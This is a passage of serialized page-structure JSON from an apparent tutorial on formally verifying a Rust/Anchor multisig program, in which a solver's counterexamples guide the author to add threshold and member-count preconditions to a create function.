Account",{"type":24,"tag":147,"props":28698,"children":28699},{"style":235},[28700],{"type":29,"value":28524},{"type":24,"tag":147,"props":28702,"children":28703},{"style":9044},[28704],{"type":29,"value":28529},{"type":24,"tag":147,"props":28706,"children":28707},{"style":235},[28708],{"type":29,"value":546},{"type":24,"tag":147,"props":28710,"children":28711},{"style":9044},[28712],{"type":29,"value":28343},{"type":24,"tag":147,"props":28714,"children":28715},{"style":235},[28716],{"type":29,"value":11763},{"type":24,"tag":147,"props":28718,"children":28719},{"class":149,"line":299},[28720],{"type":24,"tag":147,"props":28721,"children":28722},{"emptyLinePlaceholder":16},[28723],{"type":29,"value":314},{"type":24,"tag":147,"props":28725,"children":28726},{"class":149,"line":308},[28727,28732,28736],{"type":24,"tag":147,"props":28728,"children":28729},{"style":235},[28730],{"type":29,"value":28731},"    #[account(",{"type":24,"tag":147,"props":28733,"children":28734},{"style":218},[28735],{"type":29,"value":9348},{"type":24,"tag":147,"props":28737,"children":28738},{"style":235},[28739],{"type":29,"value":25862},{"type":24,"tag":147,"props":28741,"children":28742},{"class":149,"line":317},[28743,28747,28752,28756,28761,28765,28769],{"type":24,"tag":147,"props":28744,"children":28745},{"style":218},[28746],{"type":29,"value":26445},{"type":24,"tag":147,"props":28748,"children":28749},{"style":247},[28750],{"type":29,"value":28751}," creator",{"type":24,"tag":147,"props":28753,"children":28754},{"style":241},[28755],{"type":29,"value":978},{"type":24,"tag":147,"props":28757,"children":28758},{"style":9044},[28759],{"type":29,"value":28760}," Signer",{"type":24,"tag":147,"props":28762,"children":28763},{"style":235},[28764],{"type":29,"value":28524},{"type":24,"tag":147,"props":28766,"children":28767},{"style":9044},[28768],{"type":29,"value":28529},{"type":24,"tag":147,"props":28770,"children":28771},{"style":235},[28772],{"type":29,"value":11763},{"type":24,"tag":147,"props":28774,"children":28775},{"class":149,"line":332},[28776,28780,28785,28789,28794,28798,28802,28806,28811],{"type":24,"tag":147,"props":28777,"children":28778},{"style":218},[28779],{"type":29,"value":26445},{"type":24,"tag":147,"props":28781,"children":28782},{"style":247},[28783],{"type":29,"value":28784}," system_program",{"type":24,"tag":147,"props":28786,"children":28787},{"style":241},[28788],{"type":29,"value":978},{"type":24,"tag":147,"props":28790,"children":28791},{"style":9044},[28792],{"type":29,"value":28793}," Program",{"type":24,"tag":147,"props":28795,"children":28796},{"style":235},[28797],{"type":29,"value":28524},{"type":24,"tag":147,"props":28799,"children":28800},{"style":9044},[28801],{"type":29,"value":28529},{"type":24,"tag":147,"props":28803,"children":28804},{"style":235},[28805],{"type":29,"value":546},{"type":24,"tag":147,"props":28807,"children":28808},{"style":9044},[28809],{"type":29,"value":28810},"System",{"type":24,"tag":147,"props":28812,"children":28813},{"style":235},[28814],{"type":29,"value":11763},{"type":24,"tag":147,"props":28816,"children":28817},{"class":149,"line":350},[28818],{"type":24,"tag":147,"props":28819,"children":28820},{"style":235},[28821],{"type":29,"value":827},{"type":24,"tag":147,"props":28823,"children":28824},{"class":149,"line":358},[28825],{"type":24,"tag":147,"props":28826,"children":28827},{"emptyLinePlaceholder":16},[28828],{"type":29,"value":314},{"type":24,"tag":147,"props":28830,"children":28831},{"class":149,"line":397},[28832,28836,28840,28844],{"type":24,"tag":147,"props":28833,"children":28834},{"style":218},[28835],{"type":29,"value":19307},{"type":24,"tag":147,"props":28837,"children":28838},{"style":218},[28839],{"type":29,"value":19312},{"type":24,"tag":147,"props":28841,"children":28842},{"style":229},[28843],{"type":29,"value":12738},{"type":24,"tag":147,"props":28845,"children":28846},{"style":235},[28847],{"type":29,"value":9088},{"type":24,"tag":147,"props":28849,"children":28850},{"class":149,"line":421},[28851,28855,28859,28863,28867,28872],{"type":24,"tag":147,"props":28852,"children":28853},{"style":247},[28854],{"type":29,"value":25827},{"type":24,"tag":147,"props":28856,"children":28857},{"style":241},[28858],{"type":29,"value":978},{"type":24,"tag":147,"props":28860,"children":28861},{"style":9044},[28862],{"type":29,"value":25893},{"type":24,"tag":147,"props":28864,"children":28865},{"style":235},[28866],{"type":29,"value":3583},{"type":24,"tag":147,"props":28868,"children":28869},{"style":9044},[28870],{"type":29,"value":28871},"Create",{"type":24,"tag":147,"props":28873,"children":28874},{"style":235},[28875],{"type":29,"value":11763},{"type":24,"tag":147,"props":28877,"children":28878},{"class":149,"line":435},[28879,28884,28888,28892],{"type":24,"tag":147,"props":28880,"children":28881},{"style":247},[28882],{"type":29,"value":28883},"    threshold",{"type":24,"tag":147,"props":28885,"children":28886},{"style":241},[28887],{"type":29,"value":978},{"type":24,"tag":147,"props":28889,"children":28890},{"style":9044},[28891],{"type":29,"value":26632},{"type":24,"tag":147,"props":28893,"children":28894},{"style":235},[28895],{"type":29,"value":1549},{"type":24,"tag":147,"props":28897,"children":28898},{"class":149,"line":444},[28899,28904,28908,28912],{"type":24,"tag":147,"props":28900,"children":28901},{"style":247},[28902],{"type":29,"value":28903},"    create_key",{"type":24,"tag":147,"props":28905,"children":28906},{"style":241},[28907],{"type":29,"value":978},{"type":24,"tag":147,"props":28909,"children":28910},{"style":9044},[28911],{"type":29,"value":26459},{"type":24,"tag":147,"props":28913,"children":28914},{"style":235},[28915],{"type":29,"value":1549},{"type":24,"tag":147,"props":28917,"children":28918},{"class":149,"line":452},[28919,28924,28928,28932,28936,28940],{"type":24,"tag":147,"props":28920,"children":28921},{"style":247},[28922],{"type":29,"value":28923},"    members",{"type":24,"tag":147,"props":28925,"children":28926},{"style":241},[28927],{"type":29,"value":978},{"type":24,"tag":147,"props":28929,"children":28930},{"style":9044},[28931],{"type":29,"value":26991},{"type":24,"tag":147,"props":28933,"children":28934},{"style":235},[28935],{"type":29,"value":3583},{"type":24,"tag":147,"props":28937,"children":28938},{"style":9044},[28939],{"type":29,"value":27000},{"type":24,"tag":147,"props":28941,"children":28942},{"style":235},[28943],{"type":29,"value":11763},{"type":24,"tag":147,"props":28945,"children":28946},{"class":149,"line":461},[28947,28951,28955,28959],{"type":24,"tag":147,"props":28948,"children":28949},{"style":235},[28950],{"type":29,"value":564},{"type":24,"tag":147,"props":28952,"children":28953},{"style":241},[28954],{"type":29,"value":495},{"type":24,"tag":147,"props":28956,"children":28957},{"style":9044},[28958],{"type":29,"value":19378},{"type":24,"tag":147,"props":28960,"children":28961},{"style":235},[28962],{"type":29,"value":25935},{"type":24,"tag":147,"props":28964,"children":28965},{"class":149,"line":469},[28966],{"type":24,"tag":147,"props":28967,"children":28968},{"style":154},[28969],{"type":29,"value":28970},"    // sort the members and remove duplicates\n",{"type":24,"tag":147,"props":28972,"children":28973},{"class":149,"line":508},[28974,28978,28982,28987,28991,28995],{"type":24,"tag":147,"props":28975,"children":28976},{"style":218},[28977],{"type":29,"value":8634},{"type":24,"tag":147,"props":28979,"children":28980},{"style":218},[28981],{"type":29,"value":8639},{"type":24,"tag":147,"props":28983,"children":28984},{"style":247},[28985],{"type":29,"value":28986}," members",{"type":24,"tag":147,"props":28988,"children":28989},{"style":241},[28990],{"type":29,"value":651},{"type":24,"tag":147,"props":28992,"children":28993},{"style":247},[28994],{"type":29,"value":28986},{"type":24,"tag":147,"props":28996,"children":28997},{"style":235},[28998],{"type":29,"value":432},{"type":24,"tag":147,"props":29000,"children":29001},{"class":149,"line":572},[29002,29006,29010,29015],{"type":24,"tag":147,"props":29003,"children":29004},{"style":247},[29005],{"type":29,"value":28923},{"type":24,"tag":147,"props":29007,"children":29008},{"style":241},[29009],{"type":29,"value":87},{"type":24,"tag":147,"props":29011,"children":29012},{"style":229},[29013],{"type":29,"value":29014},"sort",{"type":24,"tag":147,"props":29016,"children":29017},{"style":235},[29018],{"type":29,"value":9295},{"type":24,"tag":147,"props":29020,"children":29021},{"class":149,"line":591},[29022,29026,29030,29035],{"type":24,"tag":147,"props":29023,"children":29024},{"style":247},[29025],{"type":29,"value":28923},{"type":24,"tag":147,"props":29027,"children":29028},{"style":241},[29029],{"type":29,"value":87},{"type":24,"tag":147,"props":29031,"children":29032},{"style":229},[29033],{"type":29,"value":29034},"dedup",{"type":24,"tag":147,"props":29036,"children":29037},{"style":235},[29038],{"type":29,"value":9295},{"type":24,"tag":147,"props":29040,"children":29041},{"class":149,"line":632},[29042],{"type":24,"tag":147,"props":29043,"children":29044},{"emptyLinePlaceholder":16},[29045],{"type":29,"value":314},{"type":24,"tag":147,"props":29047,"children":29048},{"class":149,"line":659},[29049],{"type":24,"tag":147,"props":29050,"children":29051},{"style":154},[29052],{"type":29,"value":29053},"    // check we don't exceed u16\n",{"type":24,"tag":147,"props":29055,"children":29056},{"class":149,"line":684},[29057,29061,29066,29070,29074,29078,29082],{"type":24,"tag":147,"props":29058,"children":29059},{"style":218},[29060],{"type":29,"value":8634},{"type":24,"tag":147,"props":29062,"children":29063},{"style":247},[29064],{"type":29,"value":29065}," total_members",{"type":24,"tag":147,"props":29067,"children":29068},{"style":241},[29069],{"type":29,"value":651},{"type":24,"tag":147,"props":29071,"children":29072},{"style":247},[29073],{"type":29,"value":28986},{"type":24,"tag":147,"props":29075,"children":29076},{"style":241},[29077],{"type":29,"value":87},{"type":24,"tag":147,"props":29079,"children":29080},{"style":229},[29081],{"type":29,"value":6227},{"type":24,"tag":147,"props":29083,"children":29084},{"style":235},[29085],{"type":29,"value":9295},{"type":24,"tag":147,"props":29087,"children":29088},{"class":149,"line":715},[29089,29093,29097,29101,29105],{"type":24,"tag":147,"props":29090,"children":29091},{"style":321},[29092],{"type":29,"value":4759},{"type":24,"tag":147,"props":29094,"children":29095},{"style":247},[29096],{"type":29,"value":29065},{"type":24,"tag":147,"props":29098,"children":29099},{"style":241},[29100],{"type":29,"value":14344},{"type":24,"tag":147,"props":29102,"children":29103},{"style":705},[29104],{"type":29,"value":10147},{"type":24,"tag":147,"props":29106,"children":29107},{"style":235},[29108],{"type":29,"value":6630},{"type":24,"tag":147,"props":29110,"children":29111},{"class":149,"line":744},[29112,29116,29121,29125,29130,29134,29139],{"type":24,"tag":147,"props":29113,"children":29114},{"style":321},[29115],{"type":29,"value":7020},{"type":24,"tag":147,"props":29117,"children":29118},{"style":229},[29119],{"type":29,"value":29120}," err!",{"type":24,"tag":147,"props":29122,"children":29123},{"style":235},[29124],{"type":29,"value":480},{"type":24,"tag":147,"props":29126,"children":29127},{"style":9044},[29128],{"type":29,"value":29129},"MsError",{"type":24,"tag":147,"props":29131,"children":29132},{"style":241},[29133],{"type":29,"value":9106},{"type":24,"tag":147,"props":29135,"children":29136},{"style":9044},[29137],{"type":29,"value":29138},"EmptyMembers",{"type":24,"tag":147,"props":29140,"children":29141},{"style":235},[29142],{"type":29,"value":1473},{"type":24,"tag":147,"props":29144,"children":29145},{"class":149,"line":784},[29146],{"type":24,"tag":147,"props":29147,"children":29148},{"style":235},[29149],{"type":29,"value":1952},{"type":24,"tag":147,"props":29151,"children":29152},{"class":149,"line":792},[29153],{"type":24,"tag":147,"props":29154,"children":29155},{"emptyLinePlaceholder":16},[29156],{"type":29,"value":314},{"type":24,"tag":147,"props":29158,"children":29159},{"class":149,"line":805},[29160],{"type":24,"tag":147,"props":29161,"children":29162},{"style":154},[29163],{"type":29,"value":29164},"    // make sure we don't exceed u16 on first call\n",{"type":24,"tag":147,"props":29166,"children":29167},{"class":149,"line":813},[29168,29172,29176,29180,29184,29188,29192,29197,29201],{"type":24,"tag":147,"props":29169,"children":29170},{"style":321},[29171],{"type":29,"value":4759},{"type":24,"tag":147,"props":29173,"children":29174},{"style":247},[29175],{"type":29,"value":29065},{"type":24,"tag":147,"props":29177,"children":29178},{"style":241},[29179],{"type":29,"value":19808},{"type":24,"tag":147,"props":29181,"children":29182},{"style":9044},[29183],{"type":29,"value":19348},{"type":24,"tag":147,"props":29185,"children":29186},{"style":241},[29187],{"type":29,"value":9106},{"type":24,"tag":147,"props":29189,"children":29190},{"style":229},[29191],{"type":29,"value":25078},{"type":24,"tag":147,"props":29193,"children":29194},{"style":235},[29195],{"type":29,"value":29196},"(u16",{"type":24,"tag":147,"props":29198,"children":29199},{"style":241},[29200],{"type":29,"value":9106},{"type":24,"tag":147,"props":29202,"children":29203},{"style":235},[29204],{"type":29,"value":29205},"MAX) {\n",{"type":24,"tag":147,"props":29207,"children":29208},{"class":149,"line":821},[29209,29213,29217,29221,29225,29229,29234],{"type":24,"tag":147,"props":29210,"children":29211},{"style":321},[29212],{"type":29,"value":7020},{"type":24,"tag":147,"props":29214,"children":29215},{"style":229},[29216],{"type":29,"value":29120},{"type":24,"tag":147,"props":29218,"children":29219},{"style":235},[29220],{"type":29,"value":480},{"type":24,"tag":147,"props":29222,"children":29223},{"style":9044},[29224],{"type":29,"value":29129},{"type":24,"tag":147,"props":29226,"children":29227},{"style":241},[29228],{"type":29,"value":9106},{"type":24,"tag":147,"props":29230,"children":29231},{"style":9044},[29232],{"type":29,"value":29233},"MaxMembersReached",{"type":24,"tag":147,"props":29235,"children":29236},{"style":235},[29237],{"type":29,"value":1473},{"type":24,"tag":147,"props":29239,"children":29240},{"class":149,"line":1902},[29241],{"type":24,"tag":147,"props":29242,"children":29243},{"style":235},[29244],{"type":29,"value":1952},{"type":24,"tag":147,"props":29246,"children":29247},{"class":149,"line":1920},[29248],{"type":24,"tag":147,"props":29249,"children":29250},{"emptyLinePlaceholder":16},[29251],{"type":29,"value":314},{"type":24,"tag":147,"props":29253,"children":29254},{"class":149,"line":1929},[29255],{"type":24,"tag":147,"props":29256,"children":29257},{"style":154},[29258],{"type":29,"value":29259},"    // make sure threshold is valid\n",{"type":24,"tag":147,"props":29261,"children":29262},{"class":149,"line":1938},[29263,29267,29271,29275,29279,29283,29287,29292,29296,29301,29305,29309,29313,29317,29321,29326,29331],{"type":24,"tag":147,"props":29264,"children":29265},{"style":321},[29266],{"type":29,"value":4759},{"type":24,"tag":147,"props":29268,"children":29269},{"style":9044},[29270],{"type":29,"value":19348},{"type":24,"tag":147,"props":29272,"children":29273},{"style":241},[29274],{"type":29,"value":9106},{"type":24,"tag":147,"props":29276,"children":29277},{"style":229},[29278],{"type":29,"value":25078},{"type":24,"tag":147,"props":29280,"children":29281},{"style":235},[29282],{"type":29,"value":480},{"type":24,"tag":147,"props":29284,"children":29285},{"style":247},[29286],{"type":29,"value":28351},{"type":24,"tag":147,"props":29288,"children":29289},{"style":235},[29290],{"type":29,"value":29291},") \u003C ",{"type":24,"tag":147,"props":29293,"children":29294},{"style":705},[29295],{"type":29,"value":1154},{"type":24,"tag":147,"props":29297,"children":29298},{"style":241},[29299],{"type":29,"value":29300}," ||",{"type":24,"tag":147,"props":29302,"children":29303},{"style":9044},[29304],{"type":29,"value":19348},{"type":24,"tag":147,"props":29306,"children":29307},{"style":241},[29308],{"type":29,"value":9106},{"type":24,"tag":147,"props":29310,"children":29311},{"style":229},[29312],{"type":29,"value":25078},{"type":24,"tag":147,"props":29314,"children":29315},{"style":235},[29316],{"type":29,"value":480},{"type":24,"tag":147,"props":29318,"children":29319},{"style":247},[29320],{"type":29,"value":28351},{"type":24,"tag":147,"props":29322,"children":29323},{"style":235},[29324],{"type":29,"value":29325},") > ",{"type":24,"tag":147,"props":29327,"children":29328},{"style":247},[29329],{"type":29,"value":29330},"total_members",{"type":24,"tag":147,"props":29332,"children":29333},{"style":235},[29334],{"type":29,"value":6630},{"type":24,"tag":147,"props":29336,"children":29337},{"class":149,"line":1946},[29338,29342,29346,29350,29354,29358,29363],{"type":24,"tag":147,"props":29339,"children":29340},{"style":321},[29341],{"type":29,"value":7020},{"type":24,"tag":147,"props":29343,"children":29344},{"style":229},[29345],{"type":29,"value":29120},{"type":24,"tag":147,"props":29347,"children":29348},{"style":235},[29349],{"type":29,"value":480},{"type":24,"tag":147,"props":29351,"children":29352},{"style":9044},[29353],{"type":29,"value":29129},{"type":24,"tag":147,"props":29355,"children":29356},{"style":241},[29357],{"type":29,"value":9106},{"type":24,"tag":147,"props":29359,"children":29360},{"style":9044},[29361],{"type":29,"value":29362},"InvalidThreshold",{"type":24,"tag":147,"props":29364,"children":29365},{"style":235},[29366],{"type":29,"value":1473},{"type":24,"tag":147,"props":29368,"children":29369},{"class":149,"line":1955},[29370],{"type":24,"tag":147,"props":29371,"children":29372},{"style":235},[29373],{"type":29,"value":1952},{"type":24,"tag":147,"props":29375,"children":29377},{"class":149,"line":29376},43,[29378],{"type":24,"tag":147,"props":29379,"children":29380},{"emptyLinePlaceholder":16},[29381],{"type":29,"value":314},{"type":24,"tag":147,"props":29383,"children":29385},{"class":149,"line":29384},44,[29386,29390,29394,29398,29402,29407,29411,29415],{"type":24,"tag":147,"props":29387,"children":29388},{"style":247},[29389],{"type":29,"value":25827},{"type":24,"tag":147,"props":29391,"children":29392},{"style":241},[29393],{"type":29,"value":87},{"type":24,"tag":147,"props":29395,"children":29396},{"style":235},[29397],{"type":29,"value":20289},{"type":24,"tag":147,"props":29399,"children":29400},{"style":241},[29401],{"type":29,"value":87},{"type":24,"tag":147,"props":29403,"children":29404},{"style":235},[29405],{"type":29,"value":29406},"multisig",{"type":24,"tag":147,"props":29408,"children":29409},{"style":241},[29410],{"type":29,"value":87},{"type":24,"tag":147,"props":29412,"children":29413},{"style":229},[29414],{"type":29,"value":26343},{"type":24,"tag":147,"props":29416,"children":29417},{"style":235},[29418],{"type":29,"value":9088},{"type":24,"tag":147,"props":29420,"children":29422},{"class":149,"line":29421},45,[29423,29428],{"type":24,"tag":147,"props":29424,"children":29425},{"style":247},[29426],{"type":29,"value":29427},"        threshold",{"type":24,"tag":147,"props":29429,"children":29430},{"style":235},[29431],{"type":29,"value":1549},{"type":24,"tag":147,"props":29433,"children":29435},{"class":149,"line":29434},46,[29436,29441],{"type":24,"tag":147,"props":29437,"children":29438},{"style":247},[29439],{"type":29,"value":29440},"        create_key",{"type":24,"tag":147,"props":29442,"children":29443},{"style":235},[29444],{"type":29,"value":1549},{"type":24,"tag":147,"props":29446,"children":29448},{"class":149,"line":29447},47,[29449,29454],{"type":24,"tag":147,"props":29450,"children":29451},{"style":247},[29452],{"type":29,"value":29453},"        members",{"type":24,"tag":147,"props":29455,"children":29456},{"style":235},[29457],{"type":29,"value":1549},{"type":24,"tag":147,"props":29459,"children":29461},{"class":149,"line":29460},48,[29462,29466,29470,29474,29479,29483,29487,29491,29496,29500,29504,29508],{"type":24,"tag":147,"props":29463,"children":29464},{"style":241},[29465],{"type":29,"value":13377},{"type":24,"tag":147,"props":29467,"children":29468},{"style":247},[29469],{"type":29,"value":25884},{"type":24,"tag":147,"props":29471,"children":29472},{"style":241},[29473],{"type":29,"value":87},{"type":24,"tag":147,"props":29475,"children":29476},{"style":235},[29477],{"type":29,"value":29478},"bumps",{"type":24,"tag":147,"props":29480,"children":29481},{"style":241},[29482],{"type":29,"value":87},{"type":24,"tag":147,"props":29484,"children":29485},{"style":229},[29486],{"type":29,"value":21960},{"type":24,"tag":147,"props":29488,"children":29489},{"style":235},[29490],{"type":29,"value":480},{"type":24,"tag":147,"props":29492,"children":29493},{"style":3534},[29494],{"type":29,"value":29495},"\"multisig\"",{"type":24,"tag":147,"props":29497,"children":29498},{"style":235},[29499],{"type":29,"value":8758},{"type":24,"tag":147,"props":29501,"children":29502},{"style":241},[29503],{"type":29,"value":87},{"type":24,"tag":147,"props":29505,"children":29506},{"style":229},[29507],{"type":29,"value":9290},{"type":24,"tag":147,"props":29509,"children":29510},{"style":235},[29511],{"type":29,"value":9116},{"type":24,"tag":147,"props":29513,"children":29515},{"class":149,"line":29514},49,[29516],{"type":24,"tag":147,"props":29517,"children":29518},{"style":235},[29519],{"type":29,"value":29520},"    )\n",{"type":24,"tag":147,"props":29522,"children":29524},{"class":149,"line":29523},50,[29525],{"type":24,"tag":147,"props":29526,"children":29527},{"style":235},[29528],{"type":29,"value":827},{"type":24,"tag":25,"props":29530,"children":29531},{},[29532,29534,29539,29541,29546],{"type":29,"value":29533},"We can start by testing an empty ",{"type":24,"tag":80,"props":29535,"children":29537},{"className":29536},[],[29538],{"type":29,"value":25758},{"type":29,"value":29540}," (this will default to ",{"type":24,"tag":80,"props":29542,"children":29544},{"className":29543},[],[29545],{"type":29,"value":9619},{"type":29,"value":4014},{"type":24,"tag":137,"props":29548,"children":29550},{"code":29549,"language":8613,"meta":7,"className":8614,"style":7},"#[succeeds_if()]\npub fn create(...) { ... }\n",[29551],{"type":24,"tag":80,"props":29552,"children":29553},{"__ignoreMap":7},[29554,29562],{"type":24,"tag":147,"props":29555,"children":29556},{"class":149,"line":150},[29557],{"type":24,"tag":147,"props":29558,"children":29559},{"style":235},[29560],{"type":29,"value":29561},"#[succeeds_if()]\n",{"type":24,"tag":147,"props":29563,"children":29564},{"class":149,"line":160},[29565,29569,29573,29577,29581,29585,29590,29594],{"type":24,"tag":147,"props":29566,"children":29567},{"style":218},[29568],{"type":29,"value":19307},{"type":24,"tag":147,"props":29570,"children":29571},{"style":218},[29572],{"type":29,"value":19312},{"type":24,"tag":147,"props":29574,"children":29575},{"style":229},[29576],{"type":29,"value":12738},{"type":24,"tag":147,"props":29578,"children":29579},{"style":235},[29580],{"type":29,"value":480},{"type":24,"tag":147,"props":29582,"children":29583},{"style":241},[29584],{"type":29,"value":15212},{"type":24,"tag":147,"props":29586,"children":29587},{"style":235},[29588],{"type":29,"value":29589},") { ",{"type":24,"tag":147,"props":29591,"children":29592},{"style":241},[29593],{"type":29,"value":15212},{"type":24,"tag":147,"props":29595,"children":29596},{"style":235},[29597],{"type":29,"value":15217},{"type":24,"tag":25,"props":29599,"children":29600},{},[29601],{"type":29,"value":29602},"Running the solver, we get:",{"type":24,"tag":137,"props":29604,"children":29606},{"code":29605},"...\nVERIFICATION:- FAILED\nVerification Time: 6.404167s\n",[29607],{"type":24,"tag":80,"props":29608,"children":29609},{"__ignoreMap":7},[29610],{"type":29,"value":29605},{"type":24,"tag":25,"props":29612,"children":29613},{},[29614,29616,29621],{"type":29,"value":29615},"This means that ",{"type":24,"tag":80,"props":29617,"children":29619},{"className":29618},[],[29620],{"type":29,"value":9619},{"type":29,"value":29622}," does not imply that the function will succeed (which is expected looking at the implementation above).",{"type":24,"tag":25,"props":29624,"children":29625},{},[29626],{"type":29,"value":29627},"We can ask the solver to produce a counterexample:",{"type":24,"tag":137,"props":29629,"children":29631},{"code":29630},"threshold: 33764\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[29632],{"type":24,"tag":80,"props":29633,"children":29634},{"__ignoreMap":7},[29635],{"type":29,"value":29630},{"type":24,"tag":25,"props":29637,"children":29638},{},[29639],{"type":29,"value":29640},"In this case, we can see that the threshold is invalid; it should not be larger than the number of members.",{"type":24,"tag":25,"props":29642,"children":29643},{},[29644],{"type":24,"tag":8545,"props":29645,"children":29646},{},[29647,29649,29655],{"type":29,"value":29648},"Note also that the verifier decided to use a ",{"type":24,"tag":80,"props":29650,"children":29652},{"className":29651},[],[29653],{"type":29,"value":29654},"SparseVec",{"type":29,"value":29656}," which is one of our custom vec implementations. In this case, the code we are verifying doesn't actually read or write to the vector and so we can model it simply as a symbolic size (with no data).",{"type":24,"tag":25,"props":29658,"children":29659},{},[29660],{"type":24,"tag":8545,"props":29661,"children":29662},{},[29663,29665,29670,29671,29677,29679,29684,29686,29691],{"type":29,"value":29664},"Using a sparse vec rather than a concrete vec is generally preferred as it speeds up computation and allows us to model arbitrarily sized vecs. ",{"type":24,"tag":80,"props":29666,"children":29668},{"className":29667},[],[29669],{"type":29,"value":9437},{"type":29,"value":855},{"type":24,"tag":80,"props":29672,"children":29674},{"className":29673},[],[29675],{"type":29,"value":29676},"pop",{"type":29,"value":29678}," are stubbed out to simply panic for the ",{"type":24,"tag":80,"props":29680,"children":29682},{"className":29681},[],[29683],{"type":29,"value":29654},{"type":29,"value":29685}," and if this code tried to do that we would fall back to the concrete ",{"type":24,"tag":80,"props":29687,"children":29689},{"className":29688},[],[29690],{"type":29,"value":22816},{"type":29,"value":29692}," type.",{"type":24,"tag":25,"props":29694,"children":29695},{},[29696],{"type":29,"value":29697},"We can add this to our constraint and try again:",{"type":24,"tag":137,"props":29699,"children":29701},{"code":29700,"language":8613,"meta":7,"className":8614,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n)]\npub fn create(...) { ... }\n",[29702],{"type":24,"tag":80,"props":29703,"children":29704},{"__ignoreMap":7},[29705,29713,29750,29757],{"type":24,"tag":147,"props":29706,"children":29707},{"class":149,"line":150},[29708],{"type":24,"tag":147,"props":29709,"children":29710},{"style":235},[29711],{"type":29,"value":29712},"#[succeeds_if(\n",{"type":24,"tag":147,"props":29714,"children":29715},{"class":149,"line":160},[29716,29721,29725,29729,29733,29737,29741,29745],{"type":24,"tag":147,"props":29717,"children":29718},{"style":235},[29719],{"type":29,"value":29720},"    (threshold ",{"type":24,"tag":147,"props":29722,"children":29723},{"style":218},[29724],{"type":29,"value":14467},{"type":24,"tag":147,"props":29726,"children":29727},{"style":9044},[29728],{"type":29,"value":19348},{"type":24,"tag":147,"props":29730,"children":29731},{"style":235},[29732],{"type":29,"value":564},{"type":24,"tag":147,"props":29734,"children":29735},{"style":241},[29736],{"type":29,"value":25019},{"type":24,"tag":147,"props":29738,"children":29739},{"style":235},[29740],{"type":29,"value":28986},{"type":24,"tag":147,"props":29742,"children":29743},{"style":241},[29744],{"type":29,"value":87},{"type":24,"tag":147,"props":29746,"children":29747},{"style":235},[29748],{"type":29,"value":29749},"len()\n",{"type":24,"tag":147,"props":29751,"children":29752},{"class":149,"line":169},[29753],{"type":24,"tag":147,"props":29754,"children":29755},{"style":235},[29756],{"type":29,"value":25862},{"type":24,"tag":147,"props":29758,"children":29759},{"class":149,"line":178},[29760,29764,29768,29772,29776,29780,29784,29788],{"type":24,"tag":147,"props":29761,"children":29762},{"style":218},[29763],{"type":29,"value":19307},{"type":24,"tag":147,"props":29765,"children":29766},{"style":218},[29767],{"type":29,"value":19312},{"type":24,"tag":147,"props":29769,"children":29770},{"style":229},[29771],{"type":29,"value":12738},{"type":24,"tag":147,"props":29773,"children":29774},{"style":235},[29775],{"type":29,"value":480},{"type":24,"tag":147,"props":29777,"children":29778},{"style":241},[29779],{"type":29,"value":15212},{"type":24,"tag":147,"props":29781,"children":29782},{"style":235},[29783],{"type":29,"value":29589},{"type":24,"tag":147,"props":29785,"children":29786},{"style":241},[29787],{"type":29,"value":15212},{"type":24,"tag":147,"props":29789,"children":29790},{"style":235},[29791],{"type":29,"value":15217},{"type":24,"tag":25,"props":29793,"children":29794},{},[29795],{"type":29,"value":29796},"Verification failed again! This time we get a different counterexample:",{"type":24,"tag":137,"props":29798,"children":29800},{"code":29799},"threshold: 0\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[29801],{"type":24,"tag":80,"props":29802,"children":29803},{"__ignoreMap":7},[29804],{"type":29,"value":29799},{"type":24,"tag":25,"props":29806,"children":29807},{},[29808],{"type":29,"value":29809},"Aha! The threshold cannot be 0 either... Let's try again:",{"type":24,"tag":137,"props":29811,"children":29813},{"code":29812,"language":8613,"meta":7,"className":8614,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n    && threshold != 0\n)]\npub fn create(...) { ... }\n",[29814],{"type":24,"tag":80,"props":29815,"children":29816},{"__ignoreMap":7},[29817,29824,29859,29880,29887],{"type":24,"tag":147,"props":29818,"children":29819},{"class":149,"line":150},[29820],{"type":24,"tag":147,"props":29821,"children":29822},{"style":235},[29823],{"type":29,"value":29712},{"type":24,"tag":147,"props":29825,"children":29826},{"class":149,"line":160},[29827,29831,29835,29839,29843,29847,29851,29855],{"type":24,"tag":147,"props":29828,"children":29829},{"style":235},[29830],{"type":29,"value":29720},{"type":24,"tag":147,"props":29832,"children":29833},{"style":218},[29834],{"type":29,"value":14467},{"type":24,"tag":147,"props":29836,"children":29837},{"style":9044},[29838],{"type":29,"value":19348},{"type":24,"tag":147,"props":29840,"children":29841},{"style":235},[29842],{"type":29,"value":564},{"type":24,"tag":147,"props":29844,"children":29845},{"style":241},[29846],{"type":29,"value":25019},{"type":24,"tag":147,"props":29848,"children":29849},{"style":235},[29850],{"type":29,"value":28986},{"type":24,"tag":147,"props":29852,"children":29853},{"style":241},[29854],{"type":29,"value":87},{"type":24,"tag":147,"props":29856,"children":29857},{"style":235},[29858],{"type":29,"value":29749},{"type":24,"tag":147,"props":29860,"children":29861},{"class":149,"line":169},[29862,29866,29871,29875],{"type":24,"tag":147,"props":29863,"children":29864},{"style":241},[29865],{"type":29,"value":21233},{"type":24,"tag":147,"props":29867,"children":29868},{"style":235},[29869],{"type":29,"value":29870}," threshold ",{"type":24,"tag":147,"props":29872,"children":29873},{"style":241},[29874],{"type":29,"value":4279},{"type":24,"tag":147,"props":29876,"children":29877},{"style":235},[29878],{"type":29,"value":29879}," 0\n",{"type":24,"tag":147,"props":29881,"children":29882},{"class":149,"line":178},[29883],{"type":24,"tag":147,"props":29884,"children":29885},{"style":235},[29886],{"type":29,"value":25862},{"type":24,"tag":147,"props":29888,"children":29889},{"class":149,"line":187},[29890,29894,29898,29902,29906,29910,29914,29918],{"type":24,"tag":147,"props":29891,"children":29892},{"style":218},[29893],{"type":29,"value":19307},{"type":24,"tag":147,"props":29895,"children":29896},{"style":218},[29897],{"type":29,"value":19312},{"type":24,"tag":147,"props":29899,"children":29900},{"style":229},[29901],{"type":29,"value":12738},{"type":24,"tag":147,"props":29903,"children":29904},{"style":235},[29905],{"type":29,"value":480},{"type":24,"tag":147,"props":29907,"children":29908},{"style":241},[29909],{"type":29,"value":15212},{"type":24,"tag":147,"props":29911,"children":29912},{"style":235},[29913],{"type":29,"value":29589},{"type":24,"tag":147,"props":29915,"children":29916},{"style":241},[29917],{"type":29,"value":15212},{"type":24,"tag":147,"props":29919,"children":29920},{"style":235},[29921],{"type":29,"value":15217},{"type":24,"tag":25,"props":29923,"